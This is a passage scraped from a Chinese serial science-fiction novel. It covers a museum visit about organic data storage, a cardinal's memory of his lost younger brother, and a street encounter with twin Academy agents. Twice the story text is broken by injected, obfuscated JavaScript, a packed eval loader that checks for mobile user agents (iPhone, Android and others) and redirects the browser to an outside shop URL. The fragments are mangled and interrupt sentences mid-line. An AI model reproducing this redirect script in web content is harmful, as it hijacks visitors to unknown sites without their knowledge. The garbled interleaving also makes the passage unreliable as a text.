“小小的一个机师,妄议圣女,该当何罪?圣女的名字即便消失在历史之中,但圣女就是圣女,圣女必然是,也永远是唯一的。仿生人这种批量生产的东西,没有任何价值。”徐正书总队长从地堡中走了出来。“大主讲,防御措施已经制定完毕。目前对方正在周围集结兵力。我们也派出小股队伍清剿对方落单的空投人员。请您静待佳音。” “难道贵骑士团的铁臂不是‘批量生产’的产物?难道你腰间那柄代表圣女断剑的‘折刃’不是批量生产的产物?难道这银棘圣血!”赛德机师冲到周向青身前,想要把那徽章拽下来,但他被那“笨重的蠢物”重重一掌推上胸膛,接连后退几步,摔倒在地。“批量生产又有什么关系?我倒是想把我的手脚、我的身体、我的头我的大脑统统换成批量生产的东西,那时我就能证明,人类的未来和本质!”赛德机师坐在地上喊道。他用缠着绷带的手支撑身体,伤口再度裂开,绷带上渗出斑斑血迹。 “真是疯了。战争、生死就在眼前,而你却在纠结这些无聊的事情。”刘光磊叹道。 “大主讲,您看看她!在这场战争中,我们需要一个真正能代表‘我们’的人!迄今以来我们的失败,都是因为没有一个真正能够代表‘我们’的人!大主讲,请您看看她!否则再这样下去,就没有人真的站在我们这一边了!” 周向青万万没有预料到赛德机师会有这么一番热烈的话语。 她尝试去回忆程光颐在那家咖啡馆里跟她说的话,以及说话时的表情。她并不觉得程光颐那时有把她当作什么“圣女”的意思。 但赛德的话让她有一种莫名其妙的触动。 她顺着赛德恳求的目光望向朱启儒大主讲。 大主讲的脸上仍旧是那副温和的表情。他没有作出众人期待的裁决,反而转向周向青,问道:“你刚才说,你来这里是想要看看有机存储的读取设备?” “呃……是的。”周向青答应道。 “你跟我来吧。” “大主讲!”徐正书惊呼道。 “没关系。我相信她。你们都在这里等一下。”大主讲点头微笑,示意骑士们放开周向青的手臂,然后自行向大博物院的深处走去。 周向青从地上站了起来,跟了上去。大博物院在刚才的炮击中也遭受了不小的损毁,只是短短的一段走廊,就有多处崩塌和瓦砾。某种程度上说,还好让娜来这里找到了大主讲,这才没有受伤吧。但为什么大主讲要在这个时候带她来这里?他们头顶上的危机还没有消除。 “你记得我吗?”大主讲来到电梯前,按了向下的电钮,在等待电梯上来的这段时间开口问道。 “我没见过您。”周向青愕然。但她突然想到,大主讲说的可能是在她去废坑之前的事情,于是她又说:“可能见过,但我很多事情都不记得了。” “嗯。其实我也这么觉得。当时帕西瓦尔……哦,在你记忆中,他大概不是这个名字。帕西瓦尔是他在这里的代称,他从不透露自己的真名。因为很多人管我们叫‘教会’,而他觉得自己就像古代小说里寻找圣杯的骑士,所以取了这个名字。虽然我们很讨厌被称为教会,但实际上的确也模仿了教会的一些制度,毕竟维持一个组织总要借鉴一些已有的模式。借鉴已有的模式可以省去很多不必要的牺牲,少走很多弯路……话扯远了。总之,那天他带着一个跟你很像的,人,来找我。他说,那是他的护卫。” “护卫?”周向青一怔。帕西瓦尔就是弗莱,而她担当护卫……这种描述让她觉得熟悉,但就是感觉哪里不太对。 “他是这么说的。护卫。但在我看来,那负责护卫的姑娘一举一动都很僵硬,跟学院从地窖中挖出来的上时代人偶没有什么区别,目光也很涣散,根本护卫不了什么人。所以我还以为帕西瓦尔只是在说笑。总之,那姑娘给人的感觉,跟现在的你完全不一样。但我猜那应该是你。毕竟,你戴着他的帽子。而且还这么厉害,跟当时已经判若两人了。” 周向青差点忘了自己身上的血迹。 电梯门开了。周向青陪同大主讲走了进去。 弗莱,帕西瓦尔。虽然不过是两个假名,但她总算是又知道了一些事情。“那么他是来干什么的呢?他是怎么样一个人?” 大主讲想了想,说:“我跟他的交流不多。当时他来找我的时候,是为了弄清统修会对于自动化大崩溃的真正态度。但那时圣座的身体抱恙,不再见客,所以他来找我问个明白——不少人觉得我就是下一任圣座,说老实话,我自己也这么觉得。总之,当时他给我的感觉是想法多于行动,而他作为数据猎人,行动本来就已经够多的了。我记得那时他问了我类似赛德刚才那一番话的问题,大概是人类的本质、未来在于何处之类。我当时正疲于卡比利亚的战事,并没有把他说的话当一回事,只是按照统修会的经文作了回答。他似乎不太满意。后来我意识到问题的严肃性之后,帕西瓦尔已经不知所踪;而三年过去,我觉得自己更加无法回答他的问题了。唉,人一上了年纪,脑子就只会越来越坏,而对未来的信心也越来越淡了。” 大主讲啰嗦了半天,电梯总算叮的一声,停下了。大博物院昔日的藏品有一半都被搬到了地下。感应电灯一盏一盏点亮,陈列着展品的走廊不断延伸,似乎这里的空间也和历史一样无穷无尽。 “所以你为什么唯独想要看有机存储的读取设备呢?”大主讲问。 周向青这回把保险柜、存储器、照片、八哥的事一股脑说了出来。但她不太说得清自己的目的。因为她自己也不知道。“总之,我只是想看看他给我留下的讯息到底是什么……我只是想多知道一些事。” “那你现在带着那个存储器吗?”大主讲问。 “没有。它还在八哥的脚上拴着。我今天也是误打误撞才过来的。”周向青不好意思地说。 “那也没关系,欢迎你下次再来。那今天我就权且当一回导游,带你认识认识这些上时代的东西吧。” 大主讲带着周向青穿过长长的走廊,走过一连串的玻璃柜。一侧的柜子里摆着机械人的身体零件,以及大大小小的芯片,还有一个拆开颅盖的仿生人人头。在煞白的灯光下,看起来颇为瘆人。 大主讲则看着另一侧的柜子,开口说道:“有机存储器其实是一个很有意思的点子,它的起因也很有趣。因为它并不是那种‘技术发展到一定水平’自然而然的产物,而只是一些人的情感纠结。有时候人们想要证明自己比别人好,即便他的确并不如别人强壮、聪明、富裕。你懂这种感觉吗?” 周向青尴尬地笑了笑。她不太懂。但或许她也有类似的行为,只是她没意识到而已。 “总之,从前有一个人,虽然他的家乡并不算是非常的落后,但总会有人借更好的地方来攻击他的家乡。于是他就很想证明,他的家乡是举世无双的。而在他的家乡有一种昆虫,可以吐出丝,古代人们收集这些丝线纺织成布料做衣服。这种丝线就是他家乡的标志性产物。然后这个人就想把这种丝线做成特殊的东西,这样他的家乡也会因这项技术,变成独一无二的地方。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088317|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “而他想出来的办法也很笨,就是在这根细细的丝线上刻下信息,把它做成储存信息的媒介。丝线能容纳的数据量不多,这样做看上去似乎没什么价值。所以他主张,丝线是有机物,上面储存的信息可以不受复杂电磁环境的影响。这就是最开始的有机存储器。 “你说它有用吗?它没有多大用处,因为写入和读取速度都非常慢。但你说它没用吗?也不是完全没用,这是能够证明他的家乡独一无二的发明。有的时候,人们就是需要这种这种模棱两可的东西,来代表他们,证明他们,让他们能够明确感受到自己的存在。” 大主讲的手轻轻放上装着那古老机械的玻璃柜。“但30年后,他的发明突然真的派上了用场。世界大战促使各方开始重视如何应对强磁场环境,而有机存储作为一个可选项得到了重视和发展。只不过大规模的战争并没有持续多久,而人们开发出了更廉价、更高效的屏蔽电磁干扰的方法。所以有机存储器便再次淡出了人们的视野。 “但前人的研究并非没有意义,这些关于有机存储的研究后来就成了生物计算机得以发展的基础。这也是我们认为人类与机械的融合必然能够实现的理论前提。所以卡比利亚才得以成为我们的圣城。我们也是因为这种代表性而聚集在这里,期待着有一天能够实现三元一体的愿景。” 周向青看着玻璃柜中那一根细细短短的丝线。下面的标签写着:“虫丝硬盘,大崩溃前130年。” 那根丝线的旁边按照时间顺序,陈列着一件又一件的展品。周向青发现,最后一个设备旁边展出的存储介质跟胖球的脚环有些相像。 那大概就是她这趟旅程的终点。 但看着那台冷冰冰的机器,她模糊地感到,自己并不如想象中那样激动。她此刻的情绪——如果可以说是情绪的话——并不如刚才听到“帕西瓦尔”的故事时强烈。 或许她也像那个发明有机存储器的人一样。她其实并不是真的想知道胖球的脚环里是不是真的有那个人留给她的信息。 她只是想要一样东西,能够让她感受到,自己的存在,自己曾经的存在。 这奇怪的博物馆不但没有让她感到靠近目标的喜悦,反倒让她觉得自己距离目标更加遥远了。 如果那个人——弗莱,或者说,帕西瓦尔——在这里给她留下了什么特殊的信息,那么这个特殊的地点、留下信息所使用的特殊方式,也因此便具有了特殊的意义。 这是一座代表人类与机械相融合的城市。这是代表人类与机械相融合的博物馆。 难道那个人也抱着同样的希望吗?难道他也觉得,三元一体可以代表他所认定的自我? 不。三元一体代表的并不是他,而是她。 “所以你找到自己要找的东西了吗?”大主讲问。 周向青默然点了点头。 她跟着大主讲沿原路返回。 他们穿过摆着展品的玻璃柜,以及长长的走廊。 在进入电梯的时候,大主讲开口了。“回去之后,他们会请我们尽快撤离。” “您是什么意思?”周向青没听明白。 “三圣堂过去的悬崖边,有一条密道可以通往城外。大家都知道。而赛德之前的话你也听到了。我们过去在跟米卡的战争中,胜少败多。这个经历让他们习惯于指责他人,同时也开始习惯于先找退路。他们并不是坏人,也不是无能的人,但他们会像放弃其它城市一样放弃这里。” “但您为什么跟我说这个呢?” 大主讲没有回答。 叮。 电梯门打开了。 周向青和大主讲回到大厅,看到一群人在地堡门前大声交谈。 而伏龙芝将军率先迎了上来。“阁下,战况不利。我们的清剿小队无法延迟敌人集结的速度。一旦他们在内城两侧集结并展开兵力,我们或许无法单靠内城的城墙就守住防线。我们正在商议,请阁下先从密道撤离。”将军诚恳地说。他们的确已经能听到远方稀疏的爆炸声。 “卡比利亚不能蒙受这样的屈辱。即便是临时的放弃也不可接受。必须死守到最后一刻。修士们也可以帮助加固掩体,干一些杂务。之前在六棱堡内昏迷的军官和骑士怎么样了?”朱启儒大主讲坚定地回答。 “一部分人恢复意识了,但还不能投入作战。但无论怎么说,敌人的目的是俘虏您,阁下。我们绝不能让敌人轻易得逞。目前正是危急时刻,还是请您听从我们的建议。”徐正书总队长说。 “内卫部队呢?” “已经全部投入防御作战了。但内卫部队平时的训练并不包括跟正规军交手,我不认为能够发挥多大作用。”刘光磊说。 赛德机师长长叹了一口气。让娜站在他的身边,无助地抓着赛德的衣服。 周向青看着眼前的场景,突然明白了大主讲为什么要给她讲那个长长的故事。 卡比利亚对于每个人都有不同的意义,有些人认为它只是一座普通的城市,但它同时也是另一些人最贵重的东西。 有些人想要保护它,而有些人想要摧毁它。 而自己身上的血腥味,又让她心中涌起一股强烈的不耐烦。 熟悉的嗡嗡声又在她心中响起。 ——你不是一个护卫吗? ——这里就是你应该护卫的地方。那个人引导你前来,就是为了让你在此时此刻护卫这里。 “呃,我觉得我可以……”周向青举起手。 但人们正围着大主讲,反复劝说他离开。没有人听得到,也没有人在乎周向青说什么。 ——站出来吧。 ——这是你的功能。 ——你的命运。 ——这就是你本身。 周向青深吸一口气。 “我可以加入战斗!”她喊道。 争论声停了下来。将军、主讲、总队长,所有人都回过头,望着周向青。 赛德的眼睛亮了起来。 29. 卡比利亚之夜14 ——程光颐是我的弟弟。你应该见过他吧? 枢机主讲程光颢说出这句话的时候,就像是跟同事闲聊什么家常话一样。 但冷汗从姜原背后和手心冒了出来。他知道这句话意味着什么。 意味着危险。 和——机会。 “是,我见过他。当时他在一家咖啡馆里跟我见了面,他说,安提赛已经盯上了我手里的东西,并提议护送我到石岗城。”姜原说。 枢机主讲没有接茬,他只是静静地望着舞台上的表演。 姜原继续说道:“我问他有什么条件,他说只需要我把里面的内容分享给统修会。所以我接受了他的提议。但我们还没来得及出发,就在城市里被安提赛伏击了。安提赛大概也在一直盯着他,所以看到我和他见面后,就直接动手了。我们被打了一个猝不及防,存储器也被佣兵们抢走了。于是程光颐就带着他的人追了上去——” “对方有多少人?”枢机主讲突然打断了姜原的话。 “大概是十几、二十人。安提赛有三辆装甲车,我记得侧面是三扇窗,车顶还有机枪。他有四个骑士,连他自己算是五个人。”姜原答道。 枢机主讲点了点头。 “佣兵抢了存储器之后,开始往城市和公司的边界方向撤离。但杜老板的人也赶了过来,在城市和公司的边界地带,截住了佣兵还有程光颐。因为城市开了炮,我看到了那边爆炸的烟雾。随后不久,他们就交火了。”姜原说到这里,停了下来。 他在考虑怎么讲接下来的情况。他是应该含混地敷衍过去,表明自己置身事外;还是说的详细一点争取信任,但同时也增加了自己的危险? 姜原想起枢机主讲之前对舞台上的戏剧,对自己的交易提议,以及对他弟弟程光颐的评价。 ——还能有更‘好’的结局吗?不明白自己真正的需要,最后就会付出生命的代价。这个世界就是这样。我的弟弟,也付出了同样的代价。 这句话充满伤感与惋惜,而又包含着早已预见的悲观期望。 “然后呢?”枢机主讲问道。他的语气很平静。 “我是后来才赶到的。因为当时程光颐并没带上我,所以我自己找了一个愿意带我过去的市民。我并没有看到他们之前谈了什么,怎么谈的。但他们的确对峙了一段时间。然后有一方先开了枪,枪声很远。带我过去的那个市民掉头就跑,而我只好徒步往过赶。我看到佣兵们想要夺路而逃,而骑士们追上去,用像标枪一样的东西击毁了佣兵的装甲车。程光颐独自从装甲车顶,突入车内。大概他认为装着存储器的盒子就在那辆车里。其它骑士掩护他,面对其它佣兵和杜兴田手下的进攻。子弹横飞,我完全不敢靠近,只能趴在地上远远地看着他。” 姜原一边说,一边偷眼去看枢机主讲的表情。 枢机主讲面部的肌肉就像生铁铸成一般,纹丝不动。但他的手指紧紧抓着座位扶手,一双眼望着舞台,眨都不眨。那穿着绿色衣袍的茱丽茜娜早已下场,现在是一个穿黑衣的男人充满怒火的独唱。 “他手下的四名骑士一位接一位倒下。而佣兵们也死伤殆尽。杜兴田的手下高叫着,让他投降。但他大概是拒绝了。因为我看到杜兴田的手下开始进攻那辆装甲车,想要夺回装着存储器的盒子。他们像蚂蚁一样爬上装甲车,准备从机枪手的位置爬进去。但程光颐突然发动了那辆装甲车,径直向我的方向开来。对方发射了一枚□□,击中了装甲车的侧面。大概是发动机被打坏了,装甲车停了下来。程光颐下了车。我站起来叫他。他看到我,然后把存储器丢给我,说:‘你快走!到卡比利亚去!’我看到对方也发动了车子,正向我们这边冲来。我能怎么办?我头也不回地跑了。” 枢机主讲沉默不语。 姜原续道:“然后我连夜出城,第二天城市就关闭了边界。虽然我不知道他为什么让我来卡比利亚,但我还是来了。但现在我知道了,是因为——” “因为下一任圣座继承的事情,我要来这里。”枢机主讲答道。他又沉默了一会,喃喃自语似地说:“听起来是像他会做的事。那家伙从小就喜欢圣女。” “他喜欢圣女?原来你说的‘被眼前的光芒蒙蔽’,指的是圣女吗?”姜原问道。他突然意识到自己刚刚编造的故事跟白天听到的,赛德机师讲的故事有点相似。或许自己无意识地使用了类似的结构。而枢机主讲正在看的这部剧也有点类似的感觉。他甚至觉得,枢机主讲之所以喜欢这部剧,喜欢茱丽茜娜,反而是因为程光颐。 这地方真是到处都跟圣女有关系。姜原不由得晃了晃脑袋。 枢机主讲没有正面回应姜原的问题,反而又问道:“既然你之前不知道他是我的弟弟,你为什么想到要来找我?” “我起初只是想跟你做个交易而已。我需要恢复数据和破解加密的设备。”姜原说。 “哦,对。我都忘记了。”枢机主讲此时给人的感觉像是一个健忘的老人。他摆了摆手。“你去吧。” 姜原一愣。他没想到枢机主讲在听了刚才的事情之后,仍然这样让他离开。“抱歉,可能是我一个局外人有些多嘴,但我之前本来还能理解你拒绝我的条件,知道程光颐是你的弟弟之后,反而无法理解了。” 程光颢长叹一声,说:“局外人当然是不理解的。你无非便是觉得,他拼死拼活想要拿到的东西,如今送到了我的手上,不论出于任务还是出于感情,我都应该收下。但也就是因为这样,我才绝不会接受你的条件。你知道吗?这趟任务本来不是让他去的。” “是他自己要求的?” “没错。我不让他去,但他玩了个花招,申请临时调动卡比利亚,然后跟据属地原则,强行参与了任务。你知道他为什么要干这种事情?” “我只能猜,和你刚才说的圣女之类的有关系。”姜原顺着枢机主讲的话说。他知道程光颢现在应该很想跟人说说自己的弟弟。一般人都这样。 “圣女……那家伙的确喜欢圣女。但他对圣女的理解和别人不一样。我们都知道,圣女是曾经做出特殊贡献的民间人士,她被树立为一种偶像,一种模范,以供大家学习仿效。她是一个可见的符号,代表的是她背后的不可见的,可望而不可即的品质。但那家伙不这么认为。他觉得存在一种……奇迹。他把圣女解释为一种超验的奇迹。”枢机主讲程光颢的眼神飘向远方,他似乎并不是在跟姜原对话,而是对着一面镜子自言自语。“可能是真的被附身了也说不定。” “附身?被什么附身?”姜原问。 “亡灵。”枢机主讲回答。他并不理睬姜原惊讶的表情,双眼直勾勾地望着舞台上歌唱的绿衣女子,但他的视线已经穿透了前方的舞台,一路回到了他自己的记忆中。 “我18岁那年……他应该是7岁。我们全家去了山里的消夏别墅。那家伙虽然不是第一次去,但他上一次去的时候,我妈把他管得死死的,而这一次可以自由玩耍,所以特别的兴奋。他甚至交了个朋友,是别墅看门人的儿子。他们每天在山里乱跑,捉虫子,摘野果。因为我正忙着准备副祭助理考核,所以也没空管他们。结果在我们准备启程回石岗城的前一天,程光颐不见了。 “母亲急坏了。父亲勃然大怒,怪我没有看好他。我急忙去找看门人,看看他是不是知道自己的孩子在哪。结果他说,自己的孩子那天去了隔壁村的舅舅家,根本就不在别墅。所以我弟弟十有八九是一个人跑到山里去了。 “我跟父母报告后,他们决定再等一会。弟弟可能只是玩得忘记了时间,累了之后自己会回来。山很大,我们贸然去找,也不太可能找得到他。但时间一分一秒过去,一直过了吃饭的时间。情况越来越不对劲,如果再等下去就会入夜。于是父亲召集了山下所有的村民、佃户,加起来几百大概一千人,准备进山里寻找。我也跟着一起去。 “一千人在别墅的院子里集合,熙熙攘攘,吵闹不休。父亲费了老大的劲才给他们分好队,让他们分配好吃喝和照明,告诉他们搜索计划。但那座山真的很大。一千人分散到山中,就像老鼠钻进了麦垛,你根本看不到他们在哪。当时我就觉得,完了,弟弟不可能找到了。我们大概在山里搜索了七个小时。到凌晨时分,人们陆陆续续在院子里集合。我看着母亲的表情从充满期待,被一个又一个一无所获的消息,一点点折磨成痛苦和绝望。 “人们回去休息了一晚上。第二天上午再度集合起来,去山里寻找。但仍旧是一无所获。山实在太大了。我们根本不知道他去了哪里,人又不可能不休息。父亲决定把仅有的一千人分成两组,交替进山搜索。但那天晚上突然下了一场大雨。搜索的计划又被拖延了,因为雨那么大,看也看不到,听也听不到。母亲哭得差点噎过气去,大叫大闹。但她心里也明白,白天都找不到,这种雨夜怎么可能找到呢? “到第三天上,大家其实心中都已经放弃了。雨那么大,一个七岁的小孩,几乎绝无生还的可能。人们在别墅院子里集合的时候,我看得出他们的懈怠和抱怨。但迫于父亲的压力,第一批五百人还是和我一道进山搜索了。中午时分,我们陆续回到别墅,大家都没有任何发现。但此时,看门人带着他的儿子来了。他说他的儿子知道程光颐可能在哪。他的儿子大概十岁多一点,说话不是很利索,根本没法描述他猜想的那个位置到底在哪。没有办法,我只好强行打起精神,跟他一起去。” 枢机主讲说到这里,目光垂了下来。 “我连续三天都参与搜索,很疲惫。那小子进山以后倒来了精神,像猴子一样蹦来蹦去,一个劲催促我。我累得不行,刚下过雨的山路又滑,我被他催的恼火,就发火道:‘你既然知道在哪,就自己去啊!’他撇撇嘴,自己跑掉了。我又继续坚持走了一段路,但那小子的人影三转两转就消失在树影里,我连他的踪迹都找不到了。我只得休息了一会,原路返回了别墅。我想,既然他一直都住在这里,在山里找人总不是问题,找弟弟的事也只能指望他了。 “却不料,那小子这一去,也是半天不回。父亲很急躁。因为他必须回到石岗城去处理边疆省 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“考试结束之后,我带着弟弟偷偷去了别墅。我觉得此时再去也没有什么意义,但架不住弟弟求我。我们在山里又找了几天,终于在一条山沟的藤蔓边上发现了小松。因为已经到了秋天,叶子要稀疏得多。他大概是从上面滑下来摔断了腿,然后就一直坐在那里,但身体已经……我担心弟弟吓到,不敢让他看。但他还是坚持要看。他看了以后,却意外的平静,什么都没说。我们回到别墅,看门人还住在他的小屋里,他老婆也在。我瞒着父亲,给了他们一大笔钱作补偿。他们对我千恩万谢。然后我们就回石岗城去了。 “弟弟从那以后,就像是变了一个人。他说,是小松用自己的命,换了他的命。我告诉他,那是不可能的。但他跟父亲、母亲、家里的厨师、花匠,他跟所有人都说这件事。父亲觉得厌烦,就送他去了寄宿学校。但他回来之后不再提小松,变成了一个张口圣女闭口圣女的人。我母亲觉得,弟弟就是被小松的冤魂附身了。我知道他是内疚。他因为这件事情恨我们,恨自己的出身。不过,这也算是某种程度的附身也说不定。这件事一直如影随形地跟着他,最后让他死在异国他乡。昨天,他们把他的尸体用飞机运回来,放在我的面前。我站在他面前,看着他,只觉得,我似乎在二十五年前,就在山里看过同样的场面。我的弟弟似乎是在二十五年前就已经死了,我现在看到的只是一个幽灵而已。” 枢机主讲说到这里,眼中的神色渐渐黯淡下去。 姜原的心情也一样糟糕到了极点。程光颢提到那个被抛弃在山里的男孩时的语气,让他觉得恼怒。但这也意味着,他的计划全盘失败了。枢机主讲不可能答应他的条件。他必须另找一个办法。 而另一个让他恼怒的人,就是他自己。 他后悔杀了程光颐。那是一个仓促的决定。 但让姜原感到恼怒的是,他自己同样没有想到,其他那些在事件中死掉的人。 他跟程光颢是一类人。只关心自己关心之物的自私之徒。 这种苦涩的回味让他决定离开。 “所以我不会接受你的条件。”程光颢从回忆中回到了现实。“我弟弟觉得他能找到最后一份文档,他就能完成一个奇迹,就能够打破现状,就像圣女保护了大博物院一样,让圣座口中的三元一体早日到来。他就是这么相信,尽管他连已经发现的文档内容都不愿意去了解。但这世界上没有奇迹。想见到奇迹只会要我们付出生命的代价。最后一份文档还是就不为人知的好。如果我是你,我会直接把它烧掉。我是真的这么建议。” “我不会烧它的。当然,我也不想要什么奇迹。我有我自己的事情和自己的看法。另外,我对你也有一个建议。虽然这句话不应该由我来说,但我觉得还是说出来比较好。” 姜原顿了顿,说道:“你最好不要也被亡灵附身了。” 程光颢盯着姜原,欲言又止。 砰砰砰砰。 包厢门被人急切地拍打着。 两名守卫骑士打开了门,一个军官满头大汗地挤了进来。 “枢机主讲大人,内城、内城被炮击了!请立即撤离!” 30. 卡比利亚之夜15 “冷静点,慢慢说,到底是什么情况?”枢机主讲站起身问道。他的脸色在听到这个消息时已经恢复如常。 “大人,具体情况我也说不清楚。但现在内城到处都是爆炸声,对方采用了某种方案突破了我们的防御。刘光磊主操让我们通知您撤离。”军官答道。 “知道了。我们这就走。”枢机主讲说。 姜原说:“那我先告辞了。” “你去吧。”枢机主讲说。但他犹豫了一下,又说:“但我会考虑一下你的条件。” 姜原点点头,离开包厢。 似乎剧院里的部分观众收到了消息,他们并不惊动其他人,悄悄赶往停车场。而街上已经开始乱了起来。不少车辆在争路时连环相撞,喇叭声、警笛声、吵闹声响成一片。姜原能看到空中划过一道道长长的焰迹,落在上城区的方向。 焰迹的方向相对集中,可以看出并不是针对整个城市的轰炸。大概是间谍或内部人员的里应外合,针对卡比利亚领导层的进攻。 难道是针对这个突出部的斩首行动吗?姜原想不出公司突然发动这样的攻击到底是什么目的。教会也在卡比利亚地区集结了重兵,这样盲目攻击如果没能完成目标,除了招致同等报复之外,并没有什么太大作用。 还有一种可能,米卡通过某种渠道得知这最后一份文档来到了卡比利亚。但这个消息只会来自胡筱秋。但这不太可能。胡筱秋的保护者是杜兴田,谁敢这么做的话,除非杜兴田死了。即便是这样,轰炸上城区并不能保证能达成夺回文档的目的。 所以这到底是为了什么? 一定还发生了什么他不知道的事情。 不管怎么说,如果米卡决定在此时发动全面战争,那么他最好还是也离开卡比利亚,去另一个能够支持自己破解这些文档的地方。 但弗莱的事情又不能留到下次。 妈的。难道他得冒着炮火闯进博物馆吗? 但他首先应该逆着人潮和车流返回上城区。周向青和让娜还在那里。一想起让娜,姜原便叹了一口气。这个小姑娘运气真的不好。或许他应该把她交给赛德机师,但在这种环境下,其实交给谁都难保完全无虞。 看看眼前这些人吧。 有车的人都堵在路上,公共交通就更不必提。许多人大包小包背着要紧的东西,仅靠两条腿向城中区步行。即便他们能穿过全是商业圈和集中住宅的城中区,也无法马上离开卡比利亚。如果米卡真的决意发动全面战争,那么现在可能已经真的在突出部的两侧发动了钳形攻势,届时卡比利亚将变成一座孤城。 大概是很多人都意识到了这一点,他们正在劝说那些步行的人交出一点财物,换取一个上车的名额。至少让你的妻子和孩子上车吧,他们说。 懒得赚这些小钱的人已经直接出手抢夺。他们撬起路牙石,砸烂商店的橱窗。警铃声大作,但此时已经没有警察能及时赶到。 姜原无暇理睬他们。他需要尽快回旅店去。他只是在路过一个抢夺老妇人提包的男人时,用机械爪勒紧男人的脖子,塞进垃圾桶。至于其他人,他根本无暇顾及。 但在这个特殊时刻,与姜原一样逆流而上的,似乎还另有别人。 那是一个十三四岁的少年,穿一袭暗红色的辅祭礼服,宽宽的衣袖上绘着大大的白色三角。但那衣服似乎又与普通的服装不同,因为他的头发有两绺白色的挑染,而且下半身是一条带破洞和骷髅衣贴的七分裤。一双大大的圆头鞋看上去并不合脚,但那少年在车道中央的隔离栏上跳来跳去,如履平地。他完全不去看自己的脚到底落在哪里,大概是他头戴的眼部兼耳部设备的缘故。那玩意看上去像上时代附耳机的虚拟成像眼镜,正面的液晶面板上一直有一个红色的圆点左右移动。那副怪异的样子,即便是在比肩接踵的人群中穿插,也能够一眼看到。而他也知道这点,反而把道路中央的围栏当作表演的舞台,吹着口琴。 当然,在汹汹的人声和车声中,姜原根本听不清他在吹什么。 姜原早在剧院一出来时就看到了他,却不想他竟然一路跟到这里。一般这么张扬的跟踪方式都是用于警告,但姜原并不知道对方想警告自己什么。姜原现在实在不想多生枝节,反正已经跟枢机主讲会过面,此时不想做多余的接触。 姜原瞅准机会,离开大路,钻进高楼之间的窄巷。巷子两侧都是商用大楼,上面挂满了工作室和事务所的招牌,此时也理所当然的黑灯瞎火。巷道内除了招牌之外,还有两侧的高楼的防火梯。防火梯的正下方摆着几个垃圾桶,敞开大嘴,露出肚子里的隔夜垃圾。 这地方倒是正合适。他不太相信穿成那个样子的小屁孩会愿意走这样一条弥漫着腐烂气息和尿骚味的道路。 姜原走过垃圾桶,朝巷道的另一个出口走去。 前方突然响起一段口琴的旋律。 那个少年慢悠悠地从前面转了出来,靠在出口旁的墙上,依旧吹着自己的口琴。旋律直来直去,听起来像是一段古朴且感伤的歌谣,和他的年纪并不相符。 姜原停下了脚步。他有点惊讶于对方的动作为何如此之快。他打量着少年的鞋子,但并没有看出个所以然来。 所以他静静等待少年吹完那首曲子。 少年吹完曲子,用手帕细细擦过一遍,包裹好口琴,放进口袋。 “晚上好。这是巴斯蒂亚尼的送灵曲。”少年终于开口。 “晚上好。我还从来没听过。”姜原答道。 “今晚月色还不错。很合适。”少年望着巷道外的天空。 “是吗?可惜从这里看不到月亮。”姜原答道。 “那你应该好好看一看。因为这可能是你最后一次赏月的机会。”少年转过头,成像眼镜液晶面板上的红点就像一只独眼,直直盯着姜原的眼睛。 “不必。今天还不是满月。我还是等月圆再赏比较好。”姜原回答。 少年没有说话,只是默默站起身,挡在出口处。 姜原也不再说话,但他猜不到对方的目的,也看不出对方的来历。他注意到少年宽宽的袖子里藏着东西。对方大概也是用道具来作战的类型,但他猜不透对方是用什么工具。 但他的身后突然响起了那少年的声音。 “但教授们已经等得不耐烦了。他们现在就要。” 姜原猛地转过身去。 那少年不知何时竟已靠在小巷入口的墙边。 这是全息投影?还是幻觉?还是人偶?姜原一时猜不透对方的手段。但这个风格,却是他再熟悉不过的了。 “原来是学院里的新人。如果我是你,我绝对不会穿着新衣服靠在那个位置。经常有人在那里大小便。”姜原说。 少年像是被烫到一样跳了起来。 “还有,你出任务的时候跑来管闲事真的好吗?另外,尽量少跟瘦猴那种人来往,你什么时候被卖了都不知道。”姜原去找瘦猴之前,就预料到他一定会泄露自己的行踪,只是没想到居然这么快。而且是给了这么一个小孩。 少年生气了。“别摆出一副前辈的姿态来教训别人,你这条咸鱼。别以为谁都跟你一样废物,一直毕不了业。快把东西交出来,省得我们动手!” “我们?”姜原一愣,随后便已明白。看来是他想太多了。对方只是一对双胞胎臭屁小鬼而已。 “你乱说什么话啊,把气氛都给毁掉了啦!”姜原后面的少年抱怨。 “呸,气氛是你自己毁掉的!你看看这地方,跟你设计的场面一点都不搭。呕,又脏又臭。”入口处的少年拍了拍自己的衣袖。他的衣袖里也藏着什么东西,圆鼓鼓地套在小臂上。“就应该用电吉他来配乐,暴风骤雨地把他解决掉。” “这里的灯光根本不合啦。就算你要节奏感强一点,也应该用提琴和鼓。” “你这才是愚夫之见!小提琴和鼓点才更需要暗场和灯光的配合……” 姜原叹了一口气。学院就是这样每年吞噬掉无数自以为是但又无辜的生命。从来没有人告诉他们出门在外要小什么样的心,以及别人在知道他们的来意后会反过来对他们做什么。他们就像是夏季夜市上涂成彩色的小鸡小鸭,只有运气特别好的能活到当年冬天。 “你们最好还是严肃一点。学院的任务不是闹来好玩的。”姜原说。 “你又知道什么了?我们又不是不知人事的处女。喂,让他看看咱们的沙漏。”少年对着姜原高高竖起中指。银蛇戒指的双眼微微发光,把他的手指幻化成一个满满当当的沙漏。 看起来还真的不少。虽然具体的学时数只有本人才能看得到。 “怎么样?知道厉害了吧。所以快快把档案存储器交出来,省得本大爷亲自动手。” “你这样说话太粗俗了。”姜原背后的少年埋怨。 “你们叫什么名字?我上次回去的时候还没见过你们。”姜原问。 “区区杂鱼,卖什么前辈的好心?你不配知道老爷的名讳。”姜原面前的少年反倒来了精神,一副入了戏的样子。 